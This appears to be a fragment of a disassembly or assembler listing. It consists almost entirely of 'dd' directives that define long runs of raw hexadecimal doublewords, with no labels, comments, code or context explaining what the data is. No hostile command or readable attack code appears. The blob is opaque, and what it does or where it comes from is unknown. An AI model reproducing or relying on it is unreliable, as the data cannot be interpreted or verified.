37AE0000h dd 20DF1756h, 0CE75F775h, 8763015h, 0E65FC0F0h, 2A7846Ch dd 50C58C5Eh, 0F000167h, 0C89135h, 0E6CB89D7h, 0AA225BF1h dd 0AF05CC00h, 8A6033D1h, 7F491EBDh, 2969494Fh, 39A67E80h dd 1A00F3B6h, 0B0E64E0h, 3BDFB375h, 2C80C2C1h, 0ACEDC77Fh dd 0C6126A7Ah, 2A0F5536h, 0E9E1C056h, 0F818B870h, 726D2EFBh dd 0EDB900F0h, 30151F83h, 75AFDC00h, 981ED429h, 2B4800FBh dd 0BA49502Ah, 6B00C80Eh, 332409FCh, 0F61A93AEh, 0ABFB001Bh dd 791D23AFh, 9C00AC7Dh, 291742CBh, 0C86203h, 51E076A7h dd 306E5B97h, 51908C26h, 0BEC43818h, 18A6012Ch, 7D0443B8h dd 0FA78346Eh, 99304E00h, 0A753F54Ah, 22750073h, 0C9F7F39Ah dd 6900D709h, 0BE6D6C65h, 4D8098h, 30ADFA0Ah, 8D36BC4Ch dd 5E2B300h, 0A5FFBF6Ah, 0A8E909A0h, 0A0C83081h, 844880F6h dd 700778D8h, 3DB0268h, 3A2F0551h, 0A30DC38h, 465DDA10h dd 8533A518h, 0C0CE8231h, 83E860A9h, 0A06096A1h, 9B270208h dd 0FEFB00FAh, 11F7A20Bh, 78051209h, 3755D06Bh, 2823404Ah dd 3E180A00h, 0CC9C42h, 4EE68C97h, 0F06DD39Fh, 6ED140C0h dd 867B1F02h, 740B4E00h, 0BD96DDC6h, 13230E67h, 0C05D80D7h dd 0DBAFE2D6h, 5B00CD99h, 26FBD497h, 1F6836h, 0FA419AACh dd 91546BEAh, 0FD04A000h, 45CB4BE4h, 0DB7E38h, 0D1C14ECFh dd 0E80321B1h, 96910C02h, 6014A5B5h, 0F43D90h, 0E335647Ah dd 6749E5EAh, 563A0D0Bh dd 95017D1Fh, 0D4207AC5h, 0F400464Ch, 501770ACh, 7B41AFD3h dd 0BBF2B0h, 0FEF11DF7h, 6B21744Eh, 6E4F8C0Dh, 0F038BACEh dd 64D31105h, 7B28A415h, 1608B76Eh, 0EB318880h, 68D40F66h dd 0C5079BD0h, 0E0069016h, 0B6EE9597h, 93D47554h, 0C61D5E00h dd 2A50362Bh, 5DBF01B4h, 4EA0AC44h, 7DBC68C0h, 407C6E29h dd 266F509h, 0A430A00Ch, 0A3406C40h, 721866F1h, 0F6A0920Ch dd 0B9797Fh, 0BA7AAFA1h, 21E4BF4h, 87EB4C00h, 0B6F7EF45h dd 993C60BCh, 0C5EA6D2Eh, 81401400h, 505571DAh, 69661879h dd 0D61B4804h, 0FC48DF81h, 1C8D4898h, 0D2BB2000h, 0CF7F3D69h dd 7C122200h, 0EAFE2F25h, 0A00E0F4Ch, 5180F42Bh, 0C594595Ah dd 79AF6330h, 416931h, 0C8202534h, 1117E09Bh, 596F8C00h dd 129DD4C3h, 0B327025Ch, 0E4807125h, 0AC899090h, 19A80E86h dd 0D09403C6h, 57A01CE0h, 5CEF1700h, 0FFC24055h, 0BDDC1861h dd 6B09D1EAh, 0CB7EA900h, 90C460C5h, 180F66Fh, 6837C332h dd 0F4ECD8D2h, 0AF00FEF4h, 6911383h, 5A42D9F0h, 0DDACA3h dd 590422FCh, 0F1A5A3Bh, 5F30FAB2h, 0F355D280h, 0C300C864h dd 0F74C8D48h, 368143h, 0D6A2D854h, 0D7E0D0A7h, 325E400h dd 90B8BEA5h, 0FA5200B3h, 6D22AB40h, 2C3CB119h, 0C180750h dd 7EE295F0h, 5C50C1E1h, 0EA6AD60h, 0F79D992Bh, 74687FA0h dd 43602A9Ch, 0C136AA30h, 4B8000A8h, 81294E0Dh, 40F86CFBh dd 0A33F7101h, 0AB642C38h, 5613AE0h, 6AD3B7Bh, 0FEB1C025h dd 5618167Ah, 0F38157B6h, 0A945038Fh, 8286FBD6h, 0FDEE60B8h dd 654DD200h, 0EF3957E5h, 0EC8800DEh, 0D3E7D0E3h, 63603B70h dd 0EB5F1F91h, 0A1790B95h, 0C600B38Fh, 0E6638E11h, 752A5E18h dd 0BFB18h, 42B0C1ECh, 2EAF3FB3h, 6EB641C0h, 2B1310h, 0E6A7F5F7h dd 8496C598h, 0FAD74101h, 0A50C6D3Eh, 1276C8h, 0EA26F04Eh dd 19092E1Eh, 0FF5AF300h, 16AC6D71h, 4C460101h, 53630A3Ch dd 7DE5FCA1h, 0D9B24B00h, 57C797CAh, 0E1911C23h, 33540A6Ch dd 0C29F00DCh, 0DC209396h, 0D6BE1F00h, 49C5483Fh, 2DC101B2h dd 7257806Dh, 0E673E03Ch, 0E3FFEB1Ch, 154170C7h, 0A3D1D0F0h dd 785000BFh, 0B522F31Fh, 1200A47Bh, 9C88142Bh, 59C27Eh dd 0F1BAAA8Fh, 7C7FD4Dh, 8E978301h, 92B05FC3h, 0F06535F0h dd 0B2539C4h, 7CD84860h, 0FF00E0A4h, 126A614Bh, 3A5E9507h dd 488E6763h, 75A188B5h, 0ECA8DA8Ah, 8F073CE7h, 0BD111BA6h dd 60AA4110h, 92AD389Dh, 2E7DAC3Ah, 6E5068h, 7618DE79h dd 510C307Dh, 21170A98h, 0CFFF00F9h, 0D19B2CA8h, 571C9197h dd 62AA75h, 58A73C45h, 9AD795C9h, 7448D00h, 0E37C863Bh dd 661C01A2h, 6E6AAC9Fh, 0E84C601Dh, 3A34E100h, 61BC9BE5h dd 901C7CBEh, 0B050C076h, 79C01908h, 6B00C77Ch, 0DCB73A94h dd 7324AB9h, 0E57802EBh, 69A95365h, 8685301Fh, 186EA486h dd 4D740C20h, 0B0A1E84Bh, 5542FC06h, 24119148h, 1E978652h dd 0B9A38764h, 43BCF7B3h, 20001C3Bh, 744BA9E1h, 1C3E2232h dd 81917CD0h, 0EA67CB61h, 0E96883F7h, 0B0AA50BCh, 1F8682E8h dd 575BEEh, 39F3BFFEh, 0CB0073DCh, 0E67D481Ch, 225CABh dd 5D112F46h, 0B6592EB1h, 6B1B8201h, 1542EF66h, 12914FD4h dd 4970BDAh, 80ADDE07h, 1E3DACDAh, 0ED2E6000h, 0FBEEB50Dh dd 0DF98B2h, 6D41E3A7h, 3A13D0D1h, 5EE620FDh, 0BAE96500h dd 0B0907BD5h, 2C8032Bh, 0A978F441h, 1A69E1B8h, 968BB339h dd 0B600BF6Bh, 6C4035D3h, 1A97855h, 44D1CBB1h, 0E41B987Bh dd 1D003359h, 0E7D451BDh, 0BA50C2h, 889B2D55h, 0BEEAF1CEh dd 63BF4726h, 0B2E7A202h, 0B655E007h, 0F9710088h, 0AE67A9CEh dd 0DF072B0Dh, 6A33FDBBh, 96AF4820h, 42D00097h, 558ED46Ch dd 0C4025C13h, 923847BDh, 9BE8606Ah, 3A9F3D69h, 0CEE79682h dd 0E64018D6h, 0FEE8321Eh, 5D209260h, 72220BAh, 0CE2E972h dd 6035501Bh, 6B008061h, 0FF0FC1BEh, 7255E89h, 77C2834Fh dd 81DFC46Ch, 0F1FA03A1h, 7D57DC18h, 0EBD2FC01h, 1A9FA65Ah dd 49CAE0h, 72550C20h, 0F23DC484h, 32339374h, 903B20AFh dd 0A01423h, 244B4560h, 80AA11F1h, 51A2CA0Ch, 36A4967h dd 7C224809h, 0B838A9EEh, 75C89EFFh, 0D141B7DEh, 0D2FEAEC7h dd 20B8FAD5h, 68C9EF0Fh, 80F53CE7h, 0DB3642E4h, 8C60152Ah dd 91934000h, 0A21356F2h, 92BC0011h, 0D622478Fh, 0BB743132h dd 554EA40Ch, 1A3099h, 0F57B8A9Dh, 0B69A5AE3h, 0D2F81B03h dd 0F6C6EB4h, 7A6B6420h, 0B0AF0036h, 0DD837C71h, 9880DE98h dd 90389B6Ah, 2CCD263h, 0EDC59717h, 10E931C6h, 1E212FB3h dd 8002F731h, 0DB72E616h, 5A2A7184h, 93008CEFh, 46A6B770h dd 1DB4D7h, 9257B54Ah, 0E2AADD82h, 0DBBE6700h, 0C663769Fh dd 891F00A4h, 0B34B0EC1h, 0B8002035h, 52A76F05h, 0D7172Dh dd 28D1FE78h, 0D9EA84E8h, 0AA87D5Eh, 7E195203h, 0ACF9208Ch dd 0C1A3E735h, 580C2100h, 3CDBE251h, 0B4200A5h, 764CCA30h dd 45F28949h, 1F78EC3Bh, 0DD43EEE9h, 0E188F383h, 409CD753h dd 0F6BC03C7h, 32818AE0h, 71B36095h, 0F1751800h, 332DEC9Ah dd 0B3C70039h, 0C3558943h, 1806659Ch, 0EF4EA9B9h, 6AC72489h dd 28870CA5h, 3D007811h, 31730E3Ch, 79A89BA5h, 5EC318B7h dd 178E2097h, 761A3C00h, 0AB460F80h, 3EF4F612h, 1E9C9EEEh dd 45B187BBh, 19C9B6E4h, 5E557718h, 0D146D8h, 0C698AFA6h dd 0C095DA72h, 59299C00h, 0FAF85BD5h, 3F35F2E7h, 980C90Ah dd 0D8FBB6EFh, 0E000D97Bh, 68950603h, 70917Fh, 971B6718h dd 380E4146h, 0B7C33A00h, 669CB85Bh, 4B620065h, 0B90A3E55h dd 977F912Eh, 0C948BF02h, 60201026h, 0DB7C5Fh, 94285C1Eh dd 621D60C1h, 0D91A2900h, 69D21C4Fh, 0B56B0019h, 0C3AC77D4h dd 5B00F63Ah, 724C5359h, 0D68E2Bh, 0DDD0A26Bh, 0FF7F9871h dd 4ED5A700h, 53C9ACE9h, 0DBA50082h, 8F7C36D2h, 0D80181EEh dd 4FDDF5F6h, 31704324h, 38F9FA8Dh, 8500E522h, 65A5737Eh dd 630196CCh, 9529F1E2h, 41DD7C0Ch, 1F1951C0h, 1ED53CEh dd 75B5F669h, 91352062h, 48D8EC28h, 291B6800h, 25EB4C01h dd 45100072h, 586ED47Dh, 75030282h, 0C49FB557h, 675D809Eh dd 0C5720328h, 0E6095C2h, 0CA666CF0h, 0B897061Fh, 0B678AE40h dd 14DC10C1h, 84ADDDF2h, 70607D4Ch, 25211530h, 0F40031F8h dd 0FC6F71A5h, 1D9ED8C5h, 819BE975h, 0E83D625Fh, 0AAF430BCh dd 5A990503h, 9F43AD0Bh, 29D5BD40h, 0E59A03D0h, 0F64793B2h dd 0D94BA7B8h, 0AE00FD7Eh, 13ABF54Dh, 0B2D068Bh, 370DE44h dd 0E4643880h, 0D10B91A6h, 8101BAF3h, 0DDA08CCh, 4A961880h dd 0F0922EE5h, 16DC0A0Ch, 0EB44889h, 9EAC3654h, 0CF4B8123h dd 21A182BBh, 9320818Ah, 0CB4A2EADh, 34F4730h, 0C60E5E5Fh dd 1AD0D11Ch, 0D37EF517h, 4851E200h, 494CDA78h, 0E14A003Bh dd 1A0E7FB2h, 3C007A4Eh, 0EBB146E6h, 61D799D5h, 8A14811Ch dd 0F7C4D87Dh, 0D00696EEh, 0D365EDA6h, 0B0B300E8h, 873168BFh dd 0CB1DE21Ch, 6200160Bh, 0F2ACFABDh, 8D043DD9h, 77A7A400h dd 0AA0643C9h, 0CBD3AB00h, 71793689h, 0E31301BAh, 142EC872h dd 6493F4F5h, 3585A07h, 0B750F691h, 603FE1C7h, 221A202Fh dd 0D6009B67h, 6D7A873Bh, 0BDDD4Fh, 33667B95h, 8AE84E96h dd 7C55A40Ah, 1700B0FAh, 0A1F594Ah, 0F05758ADh, 0A93F6807h dd 441480FCh dd 4700F4B1h, 0B3217450h, 8F1AC2h, 7CF06E4Ch, 57790CCAh dd 0A5E22A00h, 4FA9763Eh, 4C950BE9h, 0EB003937h, 9722F70Eh dd 9CE41500h, 0D650D489h, 0FB85007Ah, 3652D741h, 0F23FCEB7h dd 8D1180B6h, 8C776956h, 1187BE9h, 28C90FECh, 0FC16F9DDh dd 0C500EE14h, 0AA8D633h, 18239F1h, 45671DA1h, 6B6A4353h dd 608CE0h, 0C1C5D23h, 55FEB633h, 0AE0E2700h, 0EE56B5F4h dd 0BE5400F7h, 0DB2291B7h, 8B00596Ch, 0E88E35D2h, 0FDFEB3h dd 9EBC3F23h, 6A106306h, 0D018BA6Bh, 19DB003Eh, 18961DD5h dd 91009F52h, 636067F7h, 84E4CAh, 0AEEC5EA3h, 0B62E9334h dd 96B3F607h, 0CCD78B12h, 52E80FE0h, 0FBF300B7h, 0A164F751h dd 8A001FE9h, 56D6B916h, 0E74E47h, 0B18299D3h, 2A9B0517h dd 8DA7ED03h, 0E0645781h, 1D6B8835h, 0FDFBEBh, 0E9A476A0h dd 2400309Eh, 58C55192h, 2AE2C3h, 1E47D93h, 828C5B73h dd 69B8DB4Eh, 0FE00BE39h, 6C505D60h, 0B5024EAEh, 14253329h dd 74AC8EB2h, 0F40600B0h, 0D6659E18h, 1E3232FDh, 4971D19h dd 73AF4D83h, 9429E0E8h, 49950099h, 651EEFC4h, 0F83B6E70h dd 4DAA002Fh, 0F0B0BA96h, 0B7B91922h, 8532894h, 0EA414460h dd 33B30120h, 3751F8BCh, 321F44D4h, 29182E4Fh, 9A4066C2h dd 0C43D98DBh, 5F04D528h, 0F3CF1DE1h, 539CDF51h, 0E6293818h dd 5177061Ah, 0A1358E2Ah, 5EA00310h, 11092411h, 0DD4C1F3Ah dd 26275162h, 1DE8AB21h, 881EFE01h, 88796C29h, 0B684048Bh dd 52053DABh, 3B8C46B9h, 4F54297Eh, 673D8D8Ch, 7C07F4B1h dd 0C3242FB4h, 8416B930h, 0AA54003Dh, 0CF5E52CDh, 1005AD3h dd 0B7CE0349h, 56DB37h, 23B5B01Fh, 0FFADAF7Fh, 99D66C00h dd 2B85EAAAh, 41D9039Bh, 3308C305h, 0EE6E38F8h, 75E77A00h dd 3D532A5Bh, 118B00E1h, 0AB8DF3F7h, 721CF9CCh, 7B00BC02h dd 0F160EDACh, 0CDE90188h, 0FD6C6627h, 439DC059h, 0C6DBB001h dd 10162A35h, 9AD2D0h, 510F2CF9h, 8F7A656Eh, 55711E00h dd 2864A661h, 0AB7C240Dh, 879B802Ch, 0FB78E843h, 0CE54B01h dd 9A278172h, 7C663BD0h, 41F900E7h, 330659DBh, 4E5C6588h dd 9093009Eh, 0C9A7C552h, 1DE789Eh, 0DAB101E5h, 0E0D13DB2h dd 7E0EEEC6h, 40AB0C55h, 7422999Dh, 807502B8h, 6F77D9FAh dd 0A47B7040h, 679EAF50h, 13008BE6h, 68223410h, 1E9024C9h dd 0FD91C2DEh, 653C4A48h, 431ECD1Eh, 0FB9D4B92h, 16FD44F8h dd 72262300h, 2ED1B8BFh, 0E0B5FEA9h, 9089006Ch, 4B70846h dd 0CE00DAC3h, 0E3A4266Ah, 0A653E0h, 22A51837h, 49D4C020h dd 83E1C100h, 87BE6A15h, 0FDD80E29h, 4C1602Ch, 780E44B5h dd 75C63D0Fh, 0F1958100h, 201E4C12h, 667F164Eh, 443600B1h dd 81EBD438h, 98F59C00h, 0BC5701C1h, 532800C0h, 0CD903530h dd 0B006659h, 84344A14h, 38CBE4h, 270DE7A2h, 0D3122A18h dd 1740B600h, 851ED4BDh, 3E3F005Ah, 77C82BC3h, 8B011CEAh dd 0D5EFA0EDh, 92ECF102h, 869100D3h, 45545DC2h, 7E134EE4h dd 20001032h, 7D162756h, 0B3AA0022h, 4C1DC855h, 70002C05h dd 0F96FDE52h, 2FB0B1h, 0E577F515h, 6D78D1A0h, 9245B73Bh dd 540FFA81h, 92D3077Fh, 0ADF01E0h, 64910B8Fh, 9C00AF65h dd 2FBC6BA7h, 0FAC5B000h, 0EF3FA64Ah, 77411D32h, 35B3076Eh dd 3A79C767h, 0B8BA0BB4h, 0A9F95000h, 42009039h, 4D3FD8C6h dd 5E3492h, 1980985Ch, 0C8230BA6h, 8E629300h, 3F31767Ch dd 87490035h, 0DDB53CC3h, 34005271h, 0DCE589ADh, 765CAB3h dd 67A2FB4Fh, 0A8873932h, 4E721037h, 8E00C833h, 0F3CE2779h dd 2451F48Ch, 8F38021Dh, 0BE610F04h, 20879060h, 0A70F0A21h dd 6BD444h, 0A1F7BF2Eh, 352B1C7Dh, 7B927Eh, 51CEA008h dd 3C0006ADh, 64F3427Fh, 0CF4C578Dh, 5BE3D134h, 0A9D00D47h dd 6E007904h, 6F850649h, 92F37Bh, 8177FA5Fh, 0D8FC7F33h dd 3A7BB44Ch, 0B0B20078h, 582E570h, 16C80079h, 109D195Dh dd 71015955h, 935CE6B9h, 0EDCCCCDFh, 0CE4A01B7h, 81F22674h dd 5EDB30CAh, 1AB98A00h, 3C580CC6h, 3E2F0024h, 9BEF7E93h dd 38382629h, 0F7F00CECh, 9031F0D0h, 55D300D4h, 98FA6EE1h dd 6AF89205h, 2D4CEC00h, 671E7B56h, 910D00A3h, 1A06C1C7h dd 2E008AAEh, 4AFB4746h, 72184D3h, 0EC516E9h, 0C41CA33Eh dd 901AA787h, 71D02211h, 37AC4E38h, 0F36046E9h, 3125090h dd 0DD32A140h, 81D809DCh, 28134B35h, 7B00D014h, 0BC79A4F8h dd 0DE24Ch, 95689AC5h, 7FE6A183h, 4B7E2600h, 173AABFFh dd 0E04E02E3h, 0A77C769Ch, 9A79EF40h, 4283B303h, 0D9E5D868h dd 0F440CE62h, 0C377FCh, 7EDA810Fh, 0C8CCF22Fh, 13A97F00h dd 7A42B57Ch, 0D9BD1EC7h, 935B80A3h, 8DC84D2Fh, 416438h dd 0A58B22A2h, 0CE334Fh, 2AF8F7A4h, 0E23BE36Ch, 98AACD02h dd 809E7042h, 0D44CA4ECh, 837CEDh, 975BADEh, 15287DC6h dd 0C400A298h, 0A3D8DC87h, 166390C1h, 672337h, 0ABFC65C9h dd 4E00E8E0h, 34499164h, 0FBE741CBh, 10A9420h, 6EF70731h dd 0ED775381h, 0DF1DE8F6h, 93E47400h, 7E89B917h, 85D30721h dd 60EFE228h, 0C849081h, 983A1800h, 2B1D06EEh, 36393AD7h dd 0E0CE824h, 56A522B0h, 0D314837Ch, 0A571B1F8h, 7088D003h dd 88AFA1A7h, 1E198352h, 6C1D9FD6h, 5D78843Ch, 11C7035Ch dd 5B93809Bh, 29C900F0h, 0D0D68ABEh, 38008950h, 4A4D96E2h dd 5033EDA8h, 60DD9F7Dh, 0BC40189Bh, 3177B532h, 53B71C01h dd 1EAE7DFEh, 76F3420h, 1026E13Eh, 0A2C5B77Fh, 54602E46h dd 3001D880h, 8412BE49h, 26FC694Bh, 8F300E3h, 0DFAEE6F0h dd 0DD009AC8h, 0B382C914h, 8A6529h, 0FE49A285h, 665AD261h dd 0C64B800h, 658E1EBDh, 0FCB030EBh, 0AC253808h, 4B302400h dd 482EC413h, 8510E9Ch, 83A07245h, 7703F980h, 9497E100h dd 217F7DB9h, 0B750018Fh, 189E13DBh, 0E40ECD74h, 8609FD8Ch dd 0D8146605h, 6DD100F8h, 33B28B35h, 1A12C5FBh, 0EA0086EEh dd 6FC310B1h, 8BEC2420h, 39B8002Ch, 97B712DCh, 0E700537Ah dd 0FDB1178Fh, 3F84097Bh, 0EF0B9DD6h, 0C3805615h, 0BD52A572h dd 0DB87EA07h, 0BFD054DCh, 4132237h, 1CCB806Ah, 962C8070h dd 0B80E2E12h, 0D3828325h, 2AE29801h, 53AEB29h, 0C0C9F584h dd 0AB36A27Bh, 0ECD4F824h, 2F166700h, 0BDBA6F0h, 405A3F51h dd 0C005E407h, 2D633B4Ah, 77D30700h, 0CE651C4Fh, 0EB3D26F9h dd 3860008Eh, 8AA1CC20h, 0D3D18000h, 0B38F6EAEh, 74B0C4h dd 75269884h, 0C184135h, 93E038h, 0DA7F3E4Bh, 0F65EE2h dd 756CBABh, 3D05BF36h, 0EAE6C301h, 0E7BD1EAFh, 8B84C8h dd 0B5B61C4Eh, 0CEDD35ADh, 79007D90h, 688A12E8h, 7C9CE397h dd 82F700C9h, 5A74BF7Eh, 0B173D7Dh, 0D01C92EBh, 77BA52C0h dd 3D1E971Fh, 0A13FFC76h, 0F274D200h, 436F9E45h, 0A49D59h dd 0E7111301h, 0F38B50h, 8F73987Dh, 0AF6281F9h, 23E17105h dd 0AC01EAC5h, 1392008h, 5B94B840h, 0FFCD0121h, 0AC38BFEBh dd 54C8EC0Bh, 6AA4FC00h, 22397B49h, 9DE0685h, 38D7C081h dd 0D00317Dh, 0A773BA94h, 1CEAAACAh, 445CD40Ch, 805A20EDh dd 9D31AC48h, 0F5692B07h, 0DE30EF4Bh, 40EC6Eh, 7047079Bh dd 50C8C01Eh, 0B63B10B0h, 6ADA9D3Ch, 0F8CAC00h, 381A061h dd 0CBC5308Dh, 2AD0ADEBh, 600E4CFAh, 0E1200A5Ch, 62C71906h dd 0F48770h, 68FE6C8Bh dd 23A41874h, 75EC8419h, 288045F0h, 0A2A94DCh, 0A90F14DEh dd 639C46FAh, 0B0373ED5h, 0FD8874h, 0C93BAFF7h, 90D8CEA2h dd 67309217h, 0EEE91000h, 0E9128974h, 0B0E0B043h, 0B2487Ch dd 0CEDC58D7h, 90DB53Eh, 69732900h, 43868220h, 4C9CB864h dd 702E047Ah, 0D27F008Dh, 0AD736A9Dh, 0D635C600h, 786BF2B2h dd 2E1900B6h, 48FF1503h, 7200966Fh, 74F1937Ch, 14BC9CCh dd 29F85D97h, 30F9067Ah, 7217DD48h, 48003691h, 0B00F59ACh dd 0CA2E00BDh, 0BCC8207Ah, 0B200DA4Dh, 0C16775A2h, 9C78701h dd 0ED6B10A5h, 0D77F7880h, 7700136Fh, 0C0F0A709h, 90F4FDE0h dd 1E5A0018h, 0BE305CD3h, 0DA000E05h, 0B35FBF77h, 4C4B6939h dd 1800DF78h, 19CC94F2h, 0A8E6C47Ch, 0C0500D00h, 0EB2F332Dh dd 1040B725h, 0B600EA65h, 0BCAE582Ah, 0DA2E34h, 64A8495Fh dd 20CBC9D7h, 1B4C0A00h, 63977169h, 0E1071773h, 3DBC03C8h dd 0DFF80B25h, 0FF0009D9h, 0E34E4A8Ch, 16601Bh, 0C305DD50h dd 0BC27C1A2h, 0EE00EA76h, 0E7543484h, 2E496C08h, 392CE991h dd 6F4CC180h, 85F19E23h, 0EA0DBF00h, 99B4F35Ch, 58350052h dd 4695093Ah, 400B668Ah, 14F69Ah, 0AF16545Ch, 0FCEA7293h dd 7A9500B2h, 0EBDCF9C1h, 4E2FBD1h, 0C5329D0Dh, 85E8B883h dd 297803F6h, 0EBC0805Eh, 6B6DCFC0h, 688E561Dh, 81E1240h dd 1C8CB64Ah, 0C0B38B32h, 197F9047h, 3042533h, 9AFABDEAh dd 0F1FF2880h, 48447449h, 3F03F685h, 7B66E24Fh, 0E3243DB0h dd 0D2785A00h, 3940BB64h, 3A842662h, 0C0DE1D44h, 0D4A92B81h dd 8B004F4Eh, 1F8AAF85h, 18F713h, 0C90C4B10h, 1B018892h dd 31BC3254h, 76D51100h, 0E37E06FAh, 7990033Dh, 0DBCEAE5h dd 7C1D4BF0h, 4239C700h, 7FF53110h, 3AA800A1h, 0E0CCA493h dd 1DECACA5h, 8E8F9D07h, 2D8458Ch, 24AA1A5Bh, 0BEE3DC83h dd 3BB080B0h, 3948B302h, 0E057C270h, 3A303EC8h, 501F081Ah dd 9882C483h, 0AA488854h, 0EBBDBE13h, 12EC404h, 40731DFEh dd 497B933Eh, 57E8C931h, 40F41400h, 15DFD08Eh, 29D700DAh dd 0B77D4918h, 0B33C9C94h, 0A3241DA5h, 0E336E405h, 0C6E5C00h dd 20341Fh, 37B245B0h, 0ABD0BB28h, 7D407E00h, 3C48E3A6h dd 63040267h, 16DDA9CBh, 0E578B280h, 0FEE4ED42h, 670194E6h dd 0AADC1233h, 0F3C4CB20h, 4DA0048h, 743A0743h, 0F5582497h dd 85C70CC1h, 0A53090h, 0AD357AA6h, 39F9B358h, 662ED6F2h dd 0D1D88D9h, 0C1947C80h, 0EBAA550Ah, 0BDF0F4h, 0D10901EFh dd 0F29D6EDh, 4A1B38h, 0DB126006h, 0E4C73389h, 1FF900B0h dd 0F6270D8Ah, 2838869Bh, 0CBEF0056h, 0B86EB403h, 3C7DE8AFh dd 0D300358Dh, 0C615D974h, 75002596h, 0C527F3AEh, 504B9E94h dd 28DAF7h, 212620E7h, 1FFA0FA5h, 92E9A116h, 570C0812h dd 5624B8EBh, 0FA03FC25h, 3B210747h, 0BDB16AB8h, 0AB6C8700h dd 0FB23C742h, 66830E34h, 8000D801h, 0D7E7B581h, 0B78EDA0Ch dd 0F8B61869h, 0BA6A0EACh, 0A847E44Bh, 0A288D07Fh, 0D378EB08h dd 0C6F01100h, 0E1C382A1h, 7E0F2E65h, 6E190F4Dh, 45BA2CA0h dd 0A9138476h, 32024B56h, 608FD868h, 0D16DE8h, 8C6CDDA2h dd 9D6557F9h, 6A20FC60h, 28B4A364h, 18A8A08Dh, 485A565Dh dd 5F05B942h, 0E4834B09h, 0E8EC12C0h, 36FA0172h, 4FC2B428h dd 0A11060D2h, 5221501h, 2D787996h, 0B46C20h, 41995AF4h dd 0DD0F6910h, 288953Fh, 8B403D42h, 8529619Fh, 3BC4C0FAh dd 7339FE7Eh, 0BAA426D3h, 0C0979E80h, 51A77F0Ch, 8DE22E31h dd 9EB8C900h, 81EBE00Dh, 50B70017h, 9C748F98h, 8E1F4AB1h dd 3C0049B6h, 97AA4B63h, 0D1A62C7Ah, 0EB960094h, 18D428ACh dd 649B700h, 4ED39BBDh, 0A3481DC2h, 1425C0EAh, 24154A60h dd 0F2764Ch, 0DA9B897h, 4E8F74h, 67DE2502h, 890F4ADh, 88E33413h dd 506630C0h, 0C2C0333h, 0D884FB39h, 0F48AC0A0h, 0C1F22601h dd 0A681BD69h, 0FCF63DCh, 0ED08433Fh, 0B5CEB8C0h, 87071135h dd 0D2B4A2A3h, 0E692B9D7h, 21D8C0E3h, 3736244Ah, 1B8509D4h dd 0DD973440h, 0F178D3Ah, 0C0D9DEC0h, 0C91265E2h, 140B0027h dd 38161DBCh, 691E3D0Ah, 0B200CD6Eh, 0F2B0E56Fh, 0EA9D0459h dd 0F4D3B849h, 0AB00FD54h, 93DFFB2Eh, 241C98E4h, 50AFCFh dd 0FEA21AF4h, 50043BAAh, 82840AD5h, 0AC2AF890h, 0FB5B0380h dd 0FC43B3A2h, 68C3680Ah, 0E48FF0EFh, 0B44A6186h, 68700F66h dd 184200A4h, 0A8896D98h, 7A00038Ch, 0FF85E73Ch, 0F434AEh dd 8A94621Fh, 76A1A472h, 7CFBF026h, 0A0C7CB0Eh, 0BC63D8A8h dd 0F9BA0592h, 0C7C56F20h, 0D486008h, 67006213h, 0C83D5A10h dd 72DAC112h, 0FCC390F3h, 686E3F34h, 1BBD013Dh, 0CFA80072h dd 9E9BCC58h, 81F84B6Dh, 0D514C202h, 60C00FF2h, 0AE363F8h dd 5F05271Ch, 7A003CF4h, 226BF611h, 5900AD8Dh, 0BD57B808h dd 885C31h, 0C6F12F49h, 8AC3E099h, 28F45F00h, 69D80860h dd 95410035h, 0A14F8457h, 0CF01DD7Ah, 82B50CDCh, 0C6DB8A5h dd 68B90D00h, 91C99961h, 7EE0DC00h, 74321A9Ch, 0E40402B7h dd 8408C6FFh, 2CE53068h, 90CA4600h, 552E94BCh, 0FA4700A7h dd 2CCB577h, 38090AF3h, 800DC58Ch, 0F6CA84E0h, 99800093h dd 3986A296h, 0F7000E5Eh, 0A91A19DEh, 482B73C2h, 7917F4F4h dd 0DB0821B9h, 6143046h, 894C906h, 105323h, 4C090E7Bh dd 0A80BCF8Ah, 0D6559113h, 0AA435C00h, 48D1F5BFh, 4001608Ch dd 0BBDBA411h, 0F127CC45h, 1C3F6300h, 43875529h, 0EA0771C2h dd 9176259Ch, 4186E000h, 0D479461Bh, 0A8B59226h, 0A0409F0Fh dd 2F683EABh, 0DE7703C8h, 399CBE9h, 109013F8h, 326A820Eh dd 64FBEEF0h, 0CFC02F4Fh, 0F8A5B297h, 4CE8001Fh, 0F237991Eh dd 5E00BA3Dh, 0F7557E1Dh, 0EC2DDCE6h, 1C7207CBh, 0AF3087h dd 0AD50DA22h, 29F76300h, 1E3D3AABh, 75F0021Fh, 0A502AA1Bh dd 57541640h, 0E5F49501h, 0EEB9FEBFh, 492C70h, 1A53B207h dd 5B7913AFh, 0C89EF73Dh, 0D27C079Ch, 0E250586Ch, 705CD45h dd 0CBF04D62h, 0F567E3FDh, 0C8FB06A8h, 9A36EA00h, 8F3143A6h dd 0E1100BDh, 0E7F59204h, 121C509Fh, 70AE6EDEh, 0F293E200h dd 0A8C97477h, 5482B88h, 0B5AB7641h, 0D808B071h, 0FEA97A38h dd 8A91F50Bh, 0A1CF0048h, 5EA7FD1Dh, 50982742h, 313050EAh dd 5AB58200h, 0BDA8F236h, 58970993h, 5C80C8F9h, 0A4AC380Bh dd 0EA919B09h, 16F00034h, 11C8C83h, 7689CB2Eh, 0F0F87225h dd 2C00FEA1h, 7591E58Bh, 0E8793AE0h, 0A79307E4h, 2377C1F0h dd 8FF0D066h, 637B9BCEh, 0E9005BE6h, 7EF5D1DDh, 49CEBh dd 5E2D1FD5h, 0A370A2CBh, 2811F300h, 0B6D494D7h, 0D8E029h dd 0B86585E6h, 908DAD3Eh, 0FBC8C50Bh, 21850015h, 354995h dd 53508F0Dh, 3AC9CEA7h, 909CF700h, 0EB619B07h, 10DB0085h dd 91A17460h, 0F9006954h, 2A4BA5DDh, 0A04A6146h, 93F7180h dd 67E26ADAh, 60C0638Fh, 181AA5ADh, 80FFBBE8h, 0B0E97ECh dd 3A95EDFh, 0B749FB1Dh, 0B4E12043h, 0D9A3C8B2h, 0DB6A0400h dd 9A72CCB6h, 63280023h, 4C1D3665h, 94007FB7h, 0C0DCBE77h dd 9A0B9Eh, 5639BC89h, 0AAD7B33Eh, 1F883304h, 668027D2h dd 93E3D6h, 0CBE8B83Ah, 0F3708176h, 0EBF83Fh, 0F02DA70Ah dd 7C97127h, 0FBA03C84h, 0B4180CFh, 640579B4h, 9FC0D678h dd 0A494C3C0h, 51420083h, 0F39388A9h, 0B21C1EA6h, 0E1C0991Ch dd 0D67AA770h dd 